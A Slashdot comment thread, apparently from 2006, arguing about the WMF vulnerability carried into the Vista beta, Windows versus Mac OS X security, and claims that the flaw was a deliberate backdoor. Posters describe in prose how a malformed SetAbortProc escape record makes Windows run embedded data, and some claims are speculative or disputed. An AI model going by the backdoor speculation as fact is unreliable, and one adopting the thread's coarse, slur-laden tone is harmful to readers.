      Now get this: Even with the front-door wide open, Nobody exploited it! A couple weeks later, the patch comes out, and everyone forgets about it. When Microsoft does something like this, millions of machines get raped.

      No, OS X's security is still mainly the "Marketshare Firewall", which is why Apple themselves refused to make an issue of it. Jobs understands that Malware is just like CAD programs or Project Management software or other categories of warez that do not exist on OS X -- it is a popularity issue first and foremost.

      --
      Business. Numbers. Money. People. Computer World.
    8. Re:Let's be fair by DECS · · Score: 1

      Sorry you don't like my writing style.

      Unix file permissions are not what I had in mind when describing "modern security features." Instead, Mac OS X builds upon a fairly paranoid security model that also resulted in SSH, Kerberos, AES, etc. Much of the work on "how to provide security" has already been done. "All" Apple had to do was incorporate secure software and security principles that have already been audited and built by various BSD and other open source projects.

      That model that gave us SSH is not the same model that Microsoft used to design, say, SMB way back when. Of course, Microsoft has security professionals who know how to build secure software; it's retrofitting it in that is so problematic.

      As for OS X user security: no machine is secure from the actions of a privileged user. Since most OS X installs are run by non-security professionals logged in as administrative users, there is no end to the potential for users to download and execute potentially harmful code.

      Nobody is blaming Windows for anything on the order of "trojans installed by administrators," as you troll with regard to Safari disk images. No OS could be reasonably usable if there was absolutely no potential for an administrator to do something unintended.

      Window's notable security crises are caused by legacy code (or poorly written modern code) which - by faulty design - frequently allows remote users to exploit flaws that give them full control of everything. Window's ubiquity makes the prospect for actual (not merely theoretical) exploitation more common, and rewarding, so you are certainly right to say that
      "when Microsoft does something like this, millions of machines get raped."

      There is also a clear business model behind "raping" Windows boxes for spam delivery and virus distribution. But this should make security all the more of a priority for Microsoft. Their monopoly position also makes Microsoft more accountable for their errors, since they are clearly, as you point out, more likely to be actually exploited.

      If the world was fully populated by Macs, malware writers would definitely be targeting the platform. But they wouldn't benefit from decades of rotten code written before we knew and cared anything about security. And they'd be facing all the security prowess of OpenBSD and the rest of the security community, not kicking through the wet toilet paper that Microsoft used in securing IE, Outlook, GDI, SMB, and every other corner of Windows.

      You must be aware that everything (not just PC OS's) is potentially under attack from criminals: banks, telephone and data systems, cars, houses. If popularity alone brought about pants-down security exploits, we'd see all the big makers of everything going through the same embarrassment as Microsoft. But we don't. Occasionally, we see big companies screwing up, but nobody I can think of has perpetuated a system that fsks up their consumers on the level of Microsoft, beyond, say Big Tobacco.

    9. Re:Let's be fair by drsmithy · · Score: 1
      Microsoft's security model for NT gave more thought to making things convenient for administrators that to making products that would be resilient to outside attacks.

      Details, please.

      In the meantime, Apple, with a tiny fraction Microsoft's clout, market and developer resources, built Mac OS X with a strong focus on providing modern security features, a complete retrofitting and modernization of their existing legacy OS (Carbon), and a modernized incorporation of NeXT's object based frameworks. They released 5 major versions in that same timeframe, with more than 30 significant updates in between.

      Apple bought an OS (NeXT) and slapped on a new display subsystem (Quartz), wrote a virtual machine environment to run legacy code (Classic Environment) and reimplemented an API for their current environment (Carbon). Then they took 3 releases to get a good OS out of it.

      And they did this to replace an OS that was at the technological level of DOS-based Windows ca. 1994.

      It's a lot easier to make big, impressive changes when it's big, impressive changes you have to make. Microsoft did their whole "next generation OS" thing back in 1993 (and they actually wrote it from scratch). The core of Windows is quite solid. The outer layers (like Win32) are showing their age and history and need to be replaced (and they are). There's simply no need for radical change in Windows - particularly the core of Windows - like there was from MacOS Classic.

    10. Re:Let's be fair by DECS · · Score: 1

      What, you don't have Internet access to Google? Examples of easy admin vs. security, where security lost out:

      LANMan clear text passwords
      SMB authentication
      Always on Windows messenger service (not IM, the original broadcast admin chit chat)
      Other services installed wide open by default
      Easy open file access, like say, the automatic C$ type admin shares

      Asking for examples of where NT and DOS put ease of use ahead of security is like asking for examples of parts of the Titanic that sunk. What a retarded question.

      --

      But wait -

      When Apple designs the world's first windowing system with real alpha channel translucency, vector scaling everywhere, and windows as texture surfaces, it's a simple "slap" action?

      Microsoft has been struggling to deliver their modern graphics subsystem over the last half decade! Why don't they ask Apple how to slap it in? Slap!! Windows Vista has Tiger graphics!

      Of course, Apple didn't have Quartz on the back burner for 5 years, it was shipping. And it worked. Since then, they've added significant improvements.

      --

      If you want to dial back to 1994, then yes: the Mac OS had a simple console OS. But was it a DOS app? Haha, hardly. Apple struggled from 1991 to 1996 to deliver something with modern operating system features, and then gave up and bought a proven enterprise class OS from NeXT. A decade later, successive versions of Mac OS X has shipped features Microsoft has only talked about since 2000.

      Back to Windows: Microsoft delivered competitive OS features in NT 3.5, then watered them down in NT 4, and continued to bring in successive layers of legacy to get games working, DOS emulation, and further performance by weakening the original design principles of NT so that it would work as a Win95/98/Me replacement.

      And since 2000, Microsoft hasn't delivered much at all.

      Also, remember that the "from scratch" that Microsoft used to write Windows NT included such gems as the recently discovered WMF vulnerability, and other critical flaws like shatter attack Interactive Services, and the horrific shared services hack that Windows has to rely upon because launching a new process is so inefficient and expensive.

      --

      The real issue for Microsoft is that Apple dicked away a half decade of development ten years ago, narrowly recovered from their Copland fiasco, and has since recovered to a much stronger position with a modern OS; Microsoft is still very much inside their half decade of developmental incompetence, their modern OS lead is a decade old and showing its age (as you pointed out), and all their risk lies ahead.

    11. Re:Let's be fair by drsmithy · · Score: 1
      What, you don't have Internet access to Google?

      Sure, but without knowing anything about what I should be searching for except for some hand-wavey comment, it's hard to use it.

      Examples of easy admin vs. security, where security lost out:

      I said details, not bluster.

      LANMan clear text passwords

      Wow, imagine that, clear text passwords in a network protocol written in the early 80s for connecting DOS machines in private LANs.

      SMB authentication

      What part of it, exactly ?

      Always on Windows messenger service (not IM, the original broadcast admin chit chat)

      You mean the one which just about every other networked OS ever written has had an equivalent of ?

      Other services installed wide open by default

      Most of which were designed back when expected connectivity was a secured LAN, not the internet.

      Easy open file access, like say, the automatic C$ type admin shares

      Because it's not like having an Administrator level login to the machine would give you any other avenues of attack...

      Asking for examples of where NT and DOS put ease of use ahead of security is like asking for examples of parts of the Titanic that sunk. What a retarded question.

      Then you should be able to do better than trivially explained examples - and particularly ones that are actually relevant to the design of NT, rather than ones showing how technology designed or implemented in dramatically different environments has different attributes or how technology ported to a new platform (like LANMan or SMB) doesn't magically have any flaws fixed.

      You might also want to avoid talking about DOS or DOS software when you're giving examples about NT's security model. No amount of OS security can remedy an insecure protocol or program.

      When Apple designs the world's first windowing system with real alpha channel translucency, vector scaling everywhere, and windows as texture surfaces, it's a simple "slap" action?

      That achievements of their display layer may have been impressive does not change the fact that they were remaking just one component of an OS.

      Microsoft has been struggling to deliver their modern graphics subsystem over the last half decade!

      Well, Apple bought NeXT at the end of 1996. OS X shipped mid 2001. So 4.5 years (or about how long Microsoft have been working on Vista). But then we need to take into account that it took another two releases and ~18 months to get Quartz Extreme, then another ~2 years to get to Quartz 2D Extreme (which still isn't enabled by default, IIRC).

      I don't think Microsoft are doing too bad time-wise, considering Vista's graphics will be *at least* as functional as Tigers. And Apple still have yet to address the performance problems of OS X.

      Why don't they ask Apple how to slap it in? Slap!! Windows Vista has Tiger graphics!

      Everything I've read suggests Vista's display system will be far more impressive than Quartz [Extreme].

      Of course, Apple didn't have Quartz on the back burner for 5 years, it was shipping. And it worked. Since then, they've added significant improvements.

      If by "worked" you mean "was dog slow even on the highest end machines and is still sluggish today" and by "significant improvements" you mean "completed the implementation outlined in the initial design", then you've got a point.

      If you want to dial back to 1994, then yes: the Mac OS had a simple console OS. But was it a DOS app? Haha, hardly.

      Windows 3.x wasn't just a "DOS app", it was practically a self contained OS - it had its own hardware drivers, memory management, CPU scheduling, API, etc. About the only thing DOS was used for was loading it. Technologically, MacOS Classic is roughly on par with Windows 3.x.

      A decade later, successive versions of Mac OS X has shipped features Microsoft has only talked about since 2000.

      Yes, amazing how much e

    12. Re:Let's be fair by DECS · · Score: 1

      Didn't realize you were such a troll. You have an answer for everything, it's just than none of your answers amount to anything, or are in any context.

      It's actually more interesting to dissect your arguments than to discuss Windows development; I think it's interesting to see how people bluster when they have to support a fundamentalist doctrine, instead of having the capacity for a discussion. Your retaliations follow the same principles as a chat with Bill ORilley or a televangelist.

      1) You repeat things I said earlier, as if you are arguing an (obvious) point against me.

      - I say "Windows is from an earlier time when security wasn't seen as critical, for use in a LAN environment" they traded ease of use for security.
      - You say, no way, how?
      - I give several obvious examples, then give up because the idea that Microsoft traded ease of use for security is not even controversial. Microsoft documentation on every security vulnerability readily admits this.
      - You say: "your examples aren't enough, they are from an earlier time when security wasn't seen as critical, and those products for use in a LAN environment." You sir, are a blustermaster!

      2) After it's obvious you can't respond to a specific discussion point, you change the subject in a way that suggests my comments were out of the context we were talking about.

      -So "SMB is not even part of WinNT", because network file sharing is not part of the kernel, or because it also worked under DOS? It shipped with WindowsNT, wide open and turned on. That makes SMB flaws Windows flaws. Windows File Sharing is quite obviously a Windows component.
      One can exploit simple LanMan passwords and then connect to its automatically activated C$ shares.
      Notice how Mac and Linux installations frequently include Samba for SMB compatibility, but it's not on out of the box.

      3) You present complete bullshit as your 'supporting facts.'

      - Quartz was "dog slow even on the highest end machines and is still sluggish today"
      - Well no, while OS X performance has increased in a lot of areas, Quartz was the thing that was fast from the beta. Remember the hyper animated dock? Ars demo of 16 translucent layers of windows on top of a playing QT movie? There plenty of things to cry about in OS X (like the Finder). FUD attacks on Quartz hold less water than Microsoft's scotch tape and cheesecloth. But you say that to defend Microsoft's half decade lull in shipping anything but vapor.
      - Oh and here's another "Who cares about vaporware promises, XP is so great, it doesn't need anything!!" Except that what XP really needs isn't a flashy translucent graphic layer, but rather some attention to its wet toilet paper security, and that Microsoft's vision for 2004 was built upon a database file system, blah blah blah. Way to avoid everything by saying that WinNT is the immaculate conception. Praise be!

      4) Instead of agreeing with any point anywhere, you keep bringing the discussion into pointless argument territory.

      - You can't just agree that Microsoft's security problems are a significant problem, and then go on to address how you think things will play of differently in the future; you have to dismiss everything and return to tit-for-tat good and evil associations. At this point in 2006, I think we should be able to look back a decade and laugh at both System 7 and WinNT, but you need to foster this bullshit idea that Microsoft is infallible as the Pope, and that its OS is under as much unwarranted persecution as Christmas in America. Thank you Mr O'Rilley.

    13. Re:Let's be fair by drsmithy · · Score: 1
      You repeat things I said earlier, as if you are arguing an (obvious) point against me.

      Your original comment:

      Microsoft's security model for NT gave more thought to making things convenient for administrators that to making products that would be resilient to outside attacks.

      Your examples:

      * LANMan clear text passwords (not relevant to NT's security model)

      * SMB authentication (very non-specific, and not relevant to NT's security model)

      * Always on Windows messenger service (not IM, the original broadcast admin chit chat) (not relevant to NT's "security model")

      * Other services installed wide open by default (somewhat relevant to NT's security model).

      * Easy open file access, like say, the automatic C$ type admin shares (somewhat relevant to NT's security model).

      NT's "security model" is the thing that applies per-user ACLs to just about every part of the OS. It's being multiuser. It's being able to restrict what running code can do.

      It's got nothing to do with the inherent aspects of supported network protocols, non-essential network services and the like. By your logic OS X values convenience over security because it can run a telnet daemon and supports Appletalk.

      *Everyone* trades security for convenience - because it's impossible not to. Your assertion is that Microsoft have done this more than others. Your evidence is not convincing.

      One can exploit simple LanMan passwords and then connect to its automatically activated C$ shares.

      Do you have some specific outstanding vulnerabilities in mind or are you just waving your arms again ?

      So "SMB is not even part of WinNT", because network file sharing is not part of the kernel, or because it also worked under DOS?

      No, security vulnerabilities that are inherent to certain specifications of SMB are not relevant to "NT's security model", anymore than telnet transmitting plaintext passwords over the wire is relevant to OS X's "security model".

      Well no, while OS X performance has increased in a lot of areas, [...]

      They didn't really have anywhere to go but up.

      OS X was dog slow at initial release and remained so, even on top-end machines, until they finally came out with Quartz "Extreme". Then it was just sluggish. That it *remains* sluggish, even on fast machines like G5 iMacs, is indicative of a deeper problem.

      Quartz is not fast. It does do some cool stuff, but it's not fast.

      Oh and here's another "Who cares about vaporware promises, XP is so great, it doesn't need anything!!" Except that what XP really needs isn't a flashy translucent graphic layer, but rather some attention to its wet toilet paper security, and that Microsoft's vision for 2004 was built upon a database file system, blah blah blah. Way to avoid everything by saying that WinNT is the immaculate conception. Praise be!

      This is the point at which your desparate need to slip in some ad hominems and anti-Microsoft rhetoric _really_ starts to affect your coherency.

      I did manage to get something out of it though - how would you suggest Microsoft address XP's "toilet paper security" ?

      You can't just agree that Microsoft's security problems are a significant problem, [...]

      No, I can quite agree that Windows has a "bad security record". What I disagree with is the implication that most of the responsibility for it that can be directly attributed to Microsoft and, by extension, there's much they can do about it (although from the look of those ugly hacks fooling badly written apps into thinking they've got free and open access to the system directories and registry, they're going above and beyond in trying).

      [...] and then go on to address how you think things will play of differently in the future; [...]

      The only comments I have made that are even remotely related to "the future" were saying that Vista's display system appears to be better technology

    14. Re:Let's be fair by DECS · · Score: 1

      OS X supplies a telnet daemon and supports Appletalk but, importantly, THEY ARE NOT ON BY DEFAULT. There are also more secure alternatives to both which are provided and the default options.

      Yes security and convenience are design trade offs. Too much of either can a problem. In Windows, the problem is too much attention to convenience. I don't understand why that's so hard to get across, because there is no opinion or controversy involved. You 'quite agree that Windows has a "bad security record".'

      SMB being inherently insecure most certainly does count against Windows NT's security model, since Windows doesn't ship SMB as a disabled alternative alongside a more secure replacement protocol, but rather turns it on in every way. That's partly why a PC put on the Internet is p0wned within 15 minutes. This does not happen to a Mac.

      Further, check best practices to see whether SMB is something you want open on the Internet. Microsoft's answer? Rename SMB to CIFS - Common Internet File system. Sounds like a company that DOESN'T F-ING GET SECURITY to me!

      What I actually said, was that Microsoft could have used their market clout to release an entirely new version of Windows that fixed the problems they created in the 90s, and could have delivered it by now. It would have demanded some painful transition, but would have been a DOS to NT type jump in modernizing the PC landscape. Instead, they frittered away half a decade and are poised to deliver an anemic service pack to XP with a fancy graphics compositor (which is now nothing new, thanks to Apple).

      The pain their users will endure will not give them anything but the same crap, new costs, and some frilly 1.0 graphics - graphics that look like crap in a mixed mode legacy environment anyway. Since Vista won't generally run on todays hardware anyway, why drag a crapload of legacy software crap into it, crap which is not tacked on as a time limited compatibility mode (Classic) but integrated throughout as a core part of the system that will now be there FOREVER?

      What a huge missed opportunity! That's why I compare 5 years Apple with 5 years of Microsoft: both were stuck with some old crap, but Apple finally got it, the other apparently never will.

      --

      Yeah and you clearly know nothing about Quartz compositor and its performance. Q-E and Q3D-E promise to better use an available graphics processor, but were not some hack to solve poor graphics performance. Quartz is no slower than Window's current graphics software, apart from the fact that Quartz is actually compositing and handling alpha channels and scaling vectors systemwide, a lot of extra work that Windows can't even do.

      At this point, you're taking issue with me presenting clear examples of known Windows problems, but you are just flinging unsubstantiated lies to make no point at all. Do you even have any point? You accuse me with having a bias - well duh, I can clearly see how Apple is poised to do some damage and Microsoft has totally fucked up. My annoyance with your good and evil name calling is that it doesn't matter. Who cares about 1995? I'm not trying to score points on past performance, I'm talking about today and tomorrow.

      My point all along has been: if Vista is patching the same crap flaws from 15 years ago, it does not bode well for the "upgrade," since the amount of legacy Microsoft is trying to drag around is clearly - unquestionably - hurting their ability to be innovative and deliver technology.

      You like to bring up Macs in a tit-for-tat comparison, but Apple handily solved their real problems with the classic Mac OS, problems that were no secret and were much maligned, serious deficits that needed attention: multitasking, multiprocessing, memory protection, modern security features, modern developer frameworks, modern media support for realtime audio/video, etc.

      Those were not things that needed new inventions to fix. "Modern" OS features had been around and in practice for years outside of the naive desktop Mac/PC environmen

  19. Bad code, bad port, bad system by jeremiahbell · · Score: 2, Insightful

    All operating system updates must of necessity borrow from their predecessors. My question is: Are the security problems in Windows so bad that Microsoft should dump it; are the problems bad enough not even microsoft can go through and patch it all?

    I believe it is very likely so. It is time to dump this code and go to a new platform. Whether this is done my microsoft itself or by the many alternatives out there to the Windows operating system.

    --
    "Where have all the good people gone?" - Jack Johnson
    1. Re:Bad code, bad port, bad system by coastin · · Score: 1

      I think you may be on to something...

      I migrated to desktop Linux about two years ago because of security concerns and found a whole new world of computing options. While looking back at my many years of Win-periences I can see there are other reasons besides security for MS to come up with a whole new software model to replace the Windows model.

      What is puzzling me more than user complacency about the situation is the lack of confidence MS has in their self to take action before their user-base begins to migrate en-mass. The amount of money that MS has spent on things such as FUD and skewed studies to date (not to mention legal actions and pattens), could certainly have gone toward a new software model and would have a much longer lasting, positive impression on computer users than the current cycle of market domination via brute-force.

      --
      I lost my sig...
    2. Re:Bad code, bad port, bad system by Anonymous Coward · · Score: 0

      If that argument was valid UNIX would not exist today in any shape or form. Afterall, when you can telnet into an SMTP port, type DEBUG and gain access to a shell prompt with full root privileges, that's pretty fucked up. And yes, that was a service. This was a library. Big fucking difference.

      My point is that every platform, even your beloved, are, and will always be, fucking riddled with holes. As long as humans write it, humans will fuck it up. The best anyone can hope to do is to keep up with the patches and to reduce their attack surface. In most cases a firewall is good enough to accomplish this, even a simple software firewall. I wouldn't stick a Linux box or an Apple box on the public Internet without one anymore than I would a Windows box. It's just begging for an 0wning.

      Debian is up to 12 security vulnerabilities announced so far in 2006. 7 of these are buffer overflows. One of them exists in kdegraphics. A malformed PDF file could potentially cause the system to crash, or worse, execute arbitrary code. But wait, why wasn't this reported? Is it not news? Should Debian get rid of the shoddy Linux underpinnings too?

    3. Re:Bad code, bad port, bad system by jimicus · · Score: 1

      If you strip it right down to the fundamentals, there is nothing the matter with Windows.

      However, Microsoft spent years enthusiastically bolting on bits of code without the remotest care for security, in some cases giving the code access to the system at its very lowest levels. What they need to do is what was done with OpenBSD. Stop adding functionality, go back and audit what's already there. Everything. From the ground up.

      Thing is, OpenBSD could do this because it didn't have pressures to release a new product every couple of years. Unless and until Microsoft decide that the main thing people want from the next version of Windows is "the same thing, but more secure", it won't happen.

    4. Re:Bad code, bad port, bad system by eyepeepackets · · Score: 1

      "....Are the security problems in Windows so bad that Microsoft should dump it...."

      No, the security problems in Windows are so bad that everyone else should dump Windows: Microsoft will never let go until there are no more buyers. Which is mostly what Vista is about. Seems the Yugo buyers have figured out they bought a Yugo, so Microsoft is changing the paint color and advertising it as a Porshe, yet again.

      The old addage: There's a sucker born every minute.

      --
      Everything in the Universe sucks: It's the law!
  20. Steve Gibson: "It's a deliberate backdoor" by Sethra · · Score: 0, Troll

    Despite all the speculation that this was a poorly coded Escape/SETABORTPROC routine, it seems there is potential that something far more sinister was afoot! Namely that this was a deliberately coded backdoor and that Microsoft has known about it for years.

    The Windows MetaFile Backdoor?

    1. Re:Steve Gibson: "It's a deliberate backdoor" by Anonymous Coward · · Score: 0

      Steve Gibson is a publicity whoring idiot not respected by any real security researcher. That article is full of information which is simply incorrect. It is *not* neccessary to set the field length to 1 unless you mess up the file format as he evidently did, for example IIRC the metasploit module uses length 4.

    2. Re:Steve Gibson: "It's a deliberate backdoor" by Anonymous Coward · · Score: 0

      Man, that was annoying to read.

      New drinking game everyone! Everytime you read SG say "you know" or "I mean", take a shot!

    3. Re:Steve Gibson: "It's a deliberate backdoor" by Sethra · · Score: 1

      Whoever moderated this as -1 Troll is an idiot. Everything in my comment is backed up by Steve Gibsons own words as documented in the link I supplied. That moderator needs to get his head out of his *ss and get a clue as to what TROLL means.

      Unbelievable...

  21. SHIP IT! by jcr · · Score: 0, Troll

    I can't wait for Vista to hit the streets, because I'm an Apple shareholder. ;-)

    -jcr

    --
    The only title of honor that a tyrant can grant is "Enemy of the State."
    1. Re:SHIP IT! by Anonymous Coward · · Score: 0

      I can't wait for Vista to hit the streets, because I'm an Apple shareholder

      Don't hold your breath. It could kill you.

    2. Re:SHIP IT! by Anonymous Coward · · Score: 0

      Me too and "lovin' it"! To the Microsoft shareholders my advice would be: JUMP SHIP!

    3. Re:SHIP IT! by jcr · · Score: 1

      Don't hold your breath.

      Well, they have to ship something after all these years. The pressure's building.

      -jcr

      --
      The only title of honor that a tyrant can grant is "Enemy of the State."
  22. SetAbortProc is OK by RingDev · · Score: 4, Informative

    "poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

    SetAbortProc is well designed. The problem is the code that handles the WMF. That code is allowing a payload to be placed on the stack and an incorrect pointer to be sent.

    All set abort proc does is send an abort code to the print job and set a call back method to call when the abort completes.

    -Rick

    --
    "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    1. Re:SetAbortProc is OK by Anonymous Coward · · Score: 0

      Not true.

      When given a specific illegal length field on a SetAbortProc record, Windows will immediately begin executing code. Nothing about first getting an abort on the WMF processing.

      This is true.

      Now for the speculation. Why does it do this? Was it intended to do this, as a backdoor?

    2. Re:SetAbortProc is OK by RingDev · · Score: 4, Informative
      int SetAbortProc(
      HDC hdc, // handle to DC
      ABORTPROC lpAbortProc // abort function
      );
      SetAbortProc doesn't take a Length value. It takes the DC of the print job to cancel, and the pointer to a call back method to launch when the abort completes.

      I was incorrect in one aspect. SetAbortProc is in the GDI, NOT Win32 library. But it isn't the problem here. The problem is that vulnerbility in the code that parses the record is passing the incorrect call back method pointer to the SetAbortProc method.

      -Rick
      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    3. Re:SetAbortProc is OK by ROBOKATZ · · Score: 1
      No, the problem is that SetAbortProc as called inside a WMF works *PERFECTLY*. The only difference is, since there are no pointers in the WMF script, you supply the callback as a literal instead of a pointer. The incorrect length is (one way) of then making the script throw an error and abort.

      Obviously the real problem is that SetAbortProc has no business being called from a WMF, but the WMF interpreter is likely just an automatic proxy for DLL calls to GDI32.DLL and is not selective about which ones you can and cannot call.

    4. Re:SetAbortProc is OK by mattwarden · · Score: 1

      This is not at all what I understand. What I understand is that the exploit only works when the length is incorrectly set to 1 (a length of 1 word is impossible for a valid metafile record). This has led Gibson to believe it was an intentional backdoor. I don't know if I will go that far, but is not the pointer to the callback function that is the problem. The data in the metafile record suddenly gets executed if the length is set to 1.

    5. Re:SetAbortProc is OK by RingDev · · Score: 1

      I am not familiar with WMF scripting, but that would sound correct. the WMF scripting should not be aloud to call SAP, but that could be hard thing to impliment. Because SAP is not the only API that takes a call back method. If the fix was to just block SAP calls I'm sure someone would dig until they found another API with a call back. So either MS dug threw the entire scope of the API black listing anything with a call back, or the problem lays elsewheres. My guess still lays on the WMF interpreter. When the interpreter hits that buffer overrun it opens itself to this problem. The correct solution would be to fix the exception handling in the interpreter to no allow for the buffer overrun.

      -Rick

      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    6. Re:SetAbortProc is OK by RingDev · · Score: 1

      Read the rest of this thread. SetAbortProc doesn't take a length arguement, the problem is in the WMF interpreter.

      -Rick

      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    7. Re:SetAbortProc is OK by ROBOKATZ · · Score: 1
      Well, to go back on what I said a bit, probably they did block SetAbortProc, the exploits call Escape() with SETABORTPROC (which effectively calls SetAbortProc).

      The "buffer overrun" is not the actual problem, it is also working correctly, the error is caught and the job is aborted. You can trigger the AbortProc with any error, it is just easier to give it some invalid data rather than contriving a "legitimate" error.

    8. Re:SetAbortProc is OK by RingDev · · Score: 1

      I'd be interested in seeing the actual PoC code. My knowledge of the WMF script is minimal, but I'd like to see where the length=1 comes into play and how that error allows the author to send an escap code and command.

      -Rick

      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    9. Re:SetAbortProc is OK by ROBOKATZ · · Score: 1
      I don't have any code per se but this comment and its links might help.

      Escape() is a function in the GDI, you pass it SETABORTPROC and it effectively calls SetAbortProc(). The invalid length comes into play, I believe, after the record containing the Escape() call is processed, and the pointer into the WMF is updated to the next record (which is not an actual record, causing an error).

  23. Firewall will not help by joshtimmons · · Score: 2, Informative

    That is why this is such a dangerous vulnerablities. Since this is a vulnerability in the graphics engine (metafile playback) it can be exploited through a web page that contains a malicous graphic. That will come right in through port 80 on your firewall.

    1. Re:Firewall will not help by Anonymous Coward · · Score: 0

      That's it! I am closing port 80 on my firewa [NO CARRIER]

  24. does it really count if it's still in beta? by artifex2004 · · Score: 2, Insightful

    doesn't this type of thing happen in a lot of betas?

    1. Re:does it really count if it's still in beta? by Anonymous Coward · · Score: 0

      I know Windows XP is bad, but it's unfair to call it a beta.

      Let's not forget that this problem exists from Windows 98 upwards, and the only Beta OS is Vista.

  25. Re:Gibson is such an Alarmist! Now patch your code by scdeimos · · Score: 3, Interesting

    Yes, and Gibson is well known for *not* being an open source advocate, quite the opposite. So for him to start swinging towards open source is really a big thing.

  26. Re:Gibson is such an Alarmist! Now patch your code by PCM2 · · Score: 2, Informative

    IIRC, Gibson wasn't saying it was a back door that Microsoft hadn't bothered to fix. He was suggesting that it was a back door that somebody had put there on purpose.

    --
    Breakfast served all day!
  27. There's an old saying... by RoffleTheWaffle · · Score: 2, Insightful

    ... in the computing world that applies not only to many aspects of the evolution of technology, especially software.

    "Garbage in, garbage out."

    I wonder how much of Vista is actually based on new code. Is Vista going to be Windows XP in Mac OSX's clothing? And is it going to inherit the same piss-poor security it's predecessor had? I certainly hope not.

    1. Re:There's an old saying... by Anonymous Coward · · Score: 0

      Vista is based on Server 2003 SP1 not XP and has been modularised, so it's quite a different beast from XP.

    2. Re:There's an old saying... by cyberdrop · · Score: 1

      Thats because Windows Server 2003 is bases on XP...

  28. How can this be offtopic? by Anonymous Coward · · Score: 0

    Unless... wait... is this English yet?

    OTOH, maybe we Linux users were wrong after all, I mean Microsoft is really fast to patch... they're so fast their actions created a time paradox: a product being patched before launch.

    Next version might be patched even before being thought up!

  29. In case you didn't already know... by azureice · · Score: 2, Informative

    It's been speculated that the WMF vulnerability was there intentionally for whatever reason, or so GRC reported: http://www.grc.com/SecurityNow.htm#22 . Now if it was a rouge programmer or part of MS's plans for world domination, we don't know, but if it was indeed placed there intentionally, it wasn't a bug. If it's not a bug, then of course it would survive the code auditing several times over. Because of the recent discovery of it by the public, of course, MS had to fix it on all OSes, and the Vista patch was just later than the others because it wasn't as critical.

    1. Re:In case you didn't already know... by Anonymous Coward · · Score: 0

      You can tell the "rouge" programmers by the pretty feather boas they wear.

  30. Naive. by Inoshiro · · Score: 1

    ".. that Windows Vista isn't going to be all the fresh, hot goodness that we've been promised?"

    How does an obvious statement like this manage to get 4 stupid moderators all to mod it up?

    Windows 95! Now better than ever!

    Windows 98! All your problems are solved!

    Windows ME! We will help you how we can!

    Windows 2000! No limit to your dreams!

    Windows XP! Easier than ever, better, faster!

    Of course MS is going to hype up their new product and have you upgrade from the old product. A statement as naive as yours is not truth, nor insightful, nor informative.

    The rest of your comment similarly refuses to acknowledge that legacy momentum is the only thing keeping Microsoft going forward. People only use Windows because they "know" it. The tiny scraps of knowledge of how to use it they've gathered are things they are unwilling to abandon. Most people could as easily use MacOSX or Linux (Ubuntu is very nice), but they are unwilling to even learn what the names of the apps they would need in the new OS are (for most people, an MP3 player, browser, mail client, and Open Office are enough).

    --
    --
    Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
    1. Re:Naive. by IntlHarvester · · Score: 1

      As if Apple and Linux Distros aren't always hawking a new version loaded with shiny new doodads. Either you are a Debian Stable & IBM mainframe user, or you seriously need to get a sense of perspective on things.

      --
      Business. Numbers. Money. People. Computer World.
  31. Out of perportion by Bizzeh · · Score: 1, Insightful

    hmmn, vista uses the same core as xp, and is expected to NOT have the bugs that no one knew about... some people have all the brains

    1. Re:Out of perportion by cqnn · · Score: 1

      Actually IIRC, Vista has the same core as Server 2003.

    2. Re:Out of perportion by Bizzeh · · Score: 0

      which is the same core as XP. as windows 2003 is windows xp server edition

    3. Re:Out of perportion by MioTheGreat · · Score: 1

      Then by your logic, because 2003 inherits from XP, and because XP inherits from 2000, and because 2000 inherits from NT4, which, naturally has some code from NT3.51, of course, that had to inherit from 3.5, and all the way down to Windows NT 3.1

      Vista uses the same 'core' as Windows NT 3.1.

      Right? But seriously, Something tells me that they've changed quite a few things.

    4. Re:Out of perportion by Bizzeh · · Score: 1, Informative

      win2003 directly uses quite a large percent of windows xp.. and the same with vista. not alot of the old nt 3.1 code is still around, since it was all converted from asm to C for nt4 and then continualy removed/replaced. and then the new driver model in 5.0... nt5.1 directly inherits from nt5 as does nt6

    5. Re:Out of perportion by catahoula10 · · Score: 1

      Lets go back to Win 3.0.

      --
      This has been another valuable and informative opinion from:
      Catahoula!
    6. Re:Out of perportion by drsmithy · · Score: 1
      and the same with vista. not alot of the old nt 3.1 code is still around, since it was all converted from asm to C for nt4 and then continualy removed/replaced.

      NT was written from the start in C, it wasn't "converted" to it at a later date.

  32. I find such a lack of consistency . . . by EraserMouseMan · · Score: 5, Insightful

    entertaining. Google "beta" products that are used by millions have huge security bugs that let malicious persons read anyone's email and nobody says much and it is swept under the rug. Microsoft's "beta" products that are only in use by testers/developers have a security issue and everybody's shaking their head and talking about how horrible MS is. It's just amusing to me.

    1. Re:I find such a lack of consistency . . . by marcello_dl · · Score: 3, Insightful

      hehe come on, wasn't Vista marketed as the next gen secure OS coming from a company who claim they are more secure and offer better ROI of the competition? Then it comes up they are porting code with bugs (if not backdoors) and they release a security update before the official release.

      Sure, linux sometimes has the same kind of updates. But bug disclosement in linux isn't a terrorist activity, kernel versions are named 2.2, 2.4, 2.6 and earns it reputation on the field, not with marketing fluff.

      --
      ---- MISSING MISCELLANEOUS DATA SEGMENT --- [sigdash] trolololol
    2. Re:I find such a lack of consistency . . . by Justin+Shreve · · Score: 1

      "security bugs that let malicious persons read anyone's email" Sorry, what? If your talking about the ads within gmail, you my friend, are highly uneducated...

    3. Re:I find such a lack of consistency . . . by giorgiofr · · Score: 1

      Oh cut me some slack, will you? I just made a *joke* because I happened to watch Star Wars again last week. It was meant to make you smile...

      --
      Global warming is a cube.
    4. Re:I find such a lack of consistency . . . by vcv · · Score: 1, Flamebait
    5. Re:I find such a lack of consistency . . . by ilikejam · · Score: 1

      I find your lack of froth disturbing.

      --
      C-x C-s C-x k
  33. In other news by Anonymous Coward · · Score: 0

    In other news, Linux will never make it to the desktop. And Apple Computer's MacOSX Operating system lacks major software applications.

    Film at 11

  34. Re:Who wants to bet by iceanfire · · Score: 1

    sony = rootkit = no trust

